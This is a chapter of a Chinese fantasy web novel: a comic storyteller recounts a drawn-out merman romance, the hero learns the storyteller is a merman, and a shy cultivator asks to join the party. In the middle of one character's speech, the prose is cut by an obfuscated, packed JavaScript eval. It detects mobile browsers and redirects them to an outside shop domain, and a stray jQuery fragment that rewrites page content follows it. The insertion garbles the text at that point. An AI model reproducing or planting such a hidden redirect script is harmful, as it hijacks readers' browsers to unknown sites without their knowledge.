“啪”的一声轻响,整座天灵坊灯火骤然尽数熄灭,楼下此起彼伏的喧闹声瞬间戛然而止。
转瞬,戏台中央独独亮起一簇烛火。高台之上凭空多出一名身着浅色道袍的男子,脸上粘着几撮假胡须,面容隐藏在胡须之下,模样刻意做作。他打了个响指,台下侍立的一众小厮齐齐躬身,挨个向在场宾客派发小册子。
册子做工粗糙简陋,薄薄仅有两三页纸。
二楼各处包厢房门接连开启,天机阁打杂的弟子依次走入,将小册子逐一送到包厢内每位客人手中。
“今夜我要讲的故事,便是关于新近现世的鲛人幻境!”
说书人哗啦一声撑开折扇,故作风雅地轻摇起来,谁知道扇风力道过猛,险些把脸上的假胡子直接吹落。他慌忙抬手按住胡须,细细重新按牢,若无其事地沉下心气,高声朗道:“谈及这片幻境,便绕不开千万年前那段刻骨铭心的人妖情缘!”
说书人在戏台之上讲得唾沫横飞、神采飞扬,可祁云耀静静听了半晌,只觉着这是后人凭空杜撰出来的小说话本。
只听他道:
人妖大战战火绵延,东海海域被血水浸透。一名鲛人被浓郁血气引着浮出海面登上岸滩,刚一现身,就被杀红了眼的一众修士团团围住,不分青红皂白便要将他视作作乱恶妖当场斩杀。
千钧一发之际,仙宗少主持神兵骤然现身,剑光横空一剑逼退层层修士,硬生生救下鲛人,这便是二人初次相逢。
变故平息过后,少主自有宗门要务在身不得不离去,临行前许下再会的约定,可自此一别,再也没有归来。
鲛人早已心生爱慕,再也按捺不住相思,和某种生物做了交易,褪去鱼尾化作人形,孤身踏上陆地,千里迢迢奔赴仙宗,想要寻到那日出手相救的少年。
故事讲到此处陡然波折迭起。
彼时宗门之内,还有一位同样天资卓绝、素来野心勃勃的继承人,说书人顺口称作恶毒三。
此人一直纠缠少主不放,这番纠缠恰巧被赶来的鲛人撞个正着。
二人就这名第三者的纠葛拉扯争辩,一点点芝麻事车轱辘来回碾似的,叽里呱啦足足耗了近半个时辰,包厢里的祁云耀听着这番冗长拉扯,只觉乏味至极,百般无聊。
风波未平,恶毒三暗下毒手直指鲛人,鲛人侥幸堪堪避开杀招,暗算却阴差阳错落在少主身上,少主重伤垂危、性命悬于一线。鲛人不顾一切倾力施救,总算将少主从鬼门关拉了回来,作恶的恶毒三也随之伏诛。
本以为爱恨纠葛到此便能落幕,谁知横生枝节:恶毒三留有一名亲传弟子。
此人接过师父遗下的算计,顶替了恶毒三的位置,处心积虑徘徊在二人之间不断挑拨离间。
剧情反反复复拉扯不休,一会儿传出鲛人殒命、转瞬又死而复生;一会儿少主身陷绝境濒死,再度侥幸生还。
几番折腾过后,这名屡生事端的徒弟最终也落得身死道消的下场,可就在众人以为尘埃落定时,徒弟的道侣骤然现身,新一轮的纷争再度拉开序幕。
说书人越讲越是亢奋,唾沫横飞滔滔不绝,足足说了近两个时辰。剧情一路无限延伸,徒弟的道侣殒命之后,二人的子嗣又接续挑起矛盾,没完没了。
祁云耀困得眼皮不断打架,最初心底莫名翻涌的悸动早已消散无踪。
方才刚听见故事开篇时,他心头猛地涌上一股极致熟悉的感触,笃定自己从前定然听过,或者是看过见过这段往事。可他匆匆翻完天机阁递来的简易小册子,通篇对照下来,却找不到半分契合之处。
不对劲!根本不是这样粗陋的写法!
真正的过往波折重重,绝不是这般草草一笔带过。单单描摹那位鲛人,便能铺陈二十余页笔墨。应当细细刻画他亮晶晶的眼、小巧的鼻、嘟嘟的唇,迤逦的长发,还要用数千字细致勾勒尾鳍流光潋滟的模样。
这番突如其来的念头惊得他心头一颤,脸色瞬时发白,百思不解自己脑中怎会冒出这样细腻详尽的画面,更想不起究竟是何处见过这段描述。
几番回想无果,他只得重新凝神望向戏台。不多时,说书人终于讲到结尾,历经无数劫难阻隔,鲛人与仙宗少主相守相伴,故事落下最终结局。
实在是万般不易!
祁云耀心里全是故事终于讲完的松快,长长地舒出一口浊气。
他转头寻着哭声望去,爱哭得浑身发软,瘫倒在阿玉怀中;阿玉脸色难看至极,一脸万般无奈的神情。再低头看向肩头,化作黑蓝小燕的谢重楼圆溜溜的眼珠一瞬不瞬,死死锁定戏台之上的说书人,显然听得入了迷。
祁云耀心头一惊,生怕谢重楼被这粗制滥造的杜撰故事影响,正要开口说些什么,小燕已然振翅跳到他肩头,尖尖的鸟喙凑近耳畔,低声说道:“他是只鲛人。”
“什么?”
祁云耀急忙抬眼望去,说书人正被天机阁一众弟子簇拥着走下台,就在拐入后台的转瞬之间,衣摆下方骤然掠过一道斑斓流光,轮廓分明是尾鳍!
他心头巨震,立刻伸手想去拉扯爱提醒她,可爱正哭得抽噎不止,虚弱地竖起一根手指,示意他噤声。
“我……清楚……呜呜……隔这么多年,还是会为这一对好男女落泪……”
爱的哭声骤然拔高,震得包厢梁柱都在发颤,几乎要掀翻屋顶。
“从前吃过这么多好东西!如今只能干啃一些欲和那圣母发烂发臭的感情!哦!玉啊~我心里苦啊——”
震天动地的巨响骤然掐断了爱的哭声,祁云耀连忙俯身趴在包厢窗沿向外张望。
不知何时,东海口数艘巨型楼船正缓缓沉没入水,船体被推送着滑进浅海,掀起冲天巨浪,船身剧烈颠簸,眼看就要侧翻倾覆,又被水下暗流稳稳托住,重新摆正姿态,竟然在薄薄浅滩里稳稳浮住!
“水下有鲛人在托扶船只。”
谢重楼贴着祁云耀耳畔低声提醒。
祁云耀眉心猛地一跳,侧头望向泪痕未干的爱,对方全然无心留意海面异象,只顾死死拽着阿玉放声痛哭。
楼下厅堂里的散客尽数蜂拥出门,争相眺望大船入海的奇观。
阿玉吃力搀扶着浑身发软、站立不稳的爱,负重前行之余,还投来一道凌厉凶狠的目光,硬生生拦住了想要上前搭把手的祁云耀。
一行人刚挪动几步,包厢纸门外侧忽然响起几声轻叩。
“噔,噔——”
屋子内瞬间鸦雀无声。
祁云耀神色一凛,绷紧心神,生怕门外是巡狩队找上门。
门外也静默一息,而后穿过纸门传来一阵磕磕绊绊、局促不安的话音:
“抱……抱歉贸然打扰!我……我……”
方才还哭得浑身瘫软的爱,听见这道嗓音的刹那,眩晕、泪水、发软的腿脚尽数一扫而空,整个人像头蓄势已久的野牛,几步直冲门前。
她抬手就要一把扯开纸门,动作却骤然顿住,小心翼翼只掀开一道门缝,看清门外来人模样后,立刻抬手半掩面颊,眉眼含羞,故作一脸讶异:“呀,原来是你!”
房门被彻底敞开,尹千那张黝黑朴实的脸庞完整显露出来。他两颊涨起红晕,目光躲闪,压根不敢正视爱的双眼,嘴唇反复翕动,双拳紧紧攥起,臂膀都控制不住地轻轻发颤,半晌吐不出完整话语。
“我……贸然前来……失礼了……”
好不容易磕出半句,便又窘迫地闭了嘴。他难为情地转过身,隔空狠狠跺了下脚,再无事发生般猛然转回身子,语速急促地一口气说完来意:
“方才,方才见姑娘一……”
他咬了下舌头,轱辘一下继续接着滚:“一行人在此,明日便要入秘境了!前途凶险
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620127|196908||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,我冒昧登门是想自请伴诸位同行,若是姑娘不嫌弃的话……”
余下的话尽数卡在喉间。爱已含笑上前,稳稳握住了他的手掌,眉眼温柔,笑意融融。
“哪里会嫌弃。”
爱柔声说道,“承蒙恩人惦记呢!我心中感念不已,只是还未曾请教恩人名讳。”
“我……我名叫尹千。”
“原来是尹公子!往后一路行途,便要劳烦公子多多照拂了——对了,公子不妨猜猜,我唤作什么?”
爱笑意盈盈,二人仿若周遭再无旁人,忘却凡世俗尘般,直接并肩说说笑笑往外走去。
仍旧落在凡世的祁云耀:……
落在世俗里的阿玉:……
谢重楼扑扇着翅膀啾啾轻啼,重新落回他头顶。
“不行!”
阿玉陡然回过头,面色戒备,厉声叮嘱,“我得跟过去盯着!你们自己回去吧!别乱跑!待我找回小姐便回来!”
话音未落,她按上腰间佩剑,快步追了出去。
祁云耀只剩满心无奈。
坊店门口人头攒动,围观楼船入海的百姓挤得水泄不通,他实在好奇方才三人是如何顺畅脱身的。低声道歉,一手分开拥挤人潮,一手小心护着被他攥在手心的小燕,费了不少力气,才总算挤出围观的人群。
谢重楼重新落回他头顶,叽叽喳喳欢快啼鸣,指引着他往爱落脚的院落走。
沿街玉虚仙宗巡狩队仍在逐户盘查,他现在有易容傍身,已经不再忧心身份被识破。
途经白日初次撞见爱的那间剑铺,几道熟悉身影赫然映入眼帘。
祁云耀的视线太过直白,当即被中间那灰衣人察觉。二人目光相撞,谢青朝他温和一笑,随即侧头对着身旁的祁红随口说道:“那个人长得有点乖哦。”
一旁的灵枢闻言当即面露讥讽:“眼睛若是没用,不如直接剜掉。”
祁红皱眉:“你吃炮仗了?”
灵枢:“关你什么事。”
眼见二人又要争执起来,谢青却无意从中劝解,轻嗯一声,转头望向剑架上陈列的兵刃,目光落在两把短刃上,诚恳开口:“劳烦将这两柄剑打包。”
店家笑呵呵应下,麻利取剑。
谢青付过钱,接过两柄比常规佩剑短了将近一半的短剑,凝神端详片刻。
灵枢瞥着她,语气不善:“你那破烂旧剑早就该换了。”
谢青小心翼翼把两柄短剑收进储物袋,祁红好奇探头一扫,瞧见存放兵刃的位置旁,还整整齐齐码着数十柄形制不一、长短却相差无几的短刃。
“这可不是我自用的,是替我师弟们买的!”
“师弟?你还有师弟?”
“废话,难不成阿青是凭空从石头里蹦出来的?”
“谁跟你搭话了?”
“少多嘴!”
三人拌着嘴动身离去,谢青一手挽住祁红,一手拽住灵枢,吵吵嚷嚷一同折返天灵坊。
祁云耀望着三人渐行渐远的背影,心底无端泛起一阵酸涩。这份闷堵还没散去,一道压低的呼唤便钻进耳朵:
“小哥!”
“小哥——叫的就是你啊!”
祁云耀闻声转头,两栋楼宇夹缝间的小巷幽深昏暗,一颗惨白的脑袋悄悄探了出来。定睛细看,居然是先前在茶肆当场被捉住的那名小贼。
“要不要来点好东西?”
小贼眉眼活络,一脸得意地晃了晃手里的册子,书页快速晃动,封面上的字迹一时分辨不清。
祁云耀迟疑着移步朝小巷走近,走到近处才看清封皮上赫然印着三个字——《天阳册》。
“货真价实的至宝啊!你来嘛!我跟你细说!”
祁云耀抬眼打量对方,这人满脸狡黠,几乎把“我不是好人”几个大字写在了脸上,脚步猛地顿住。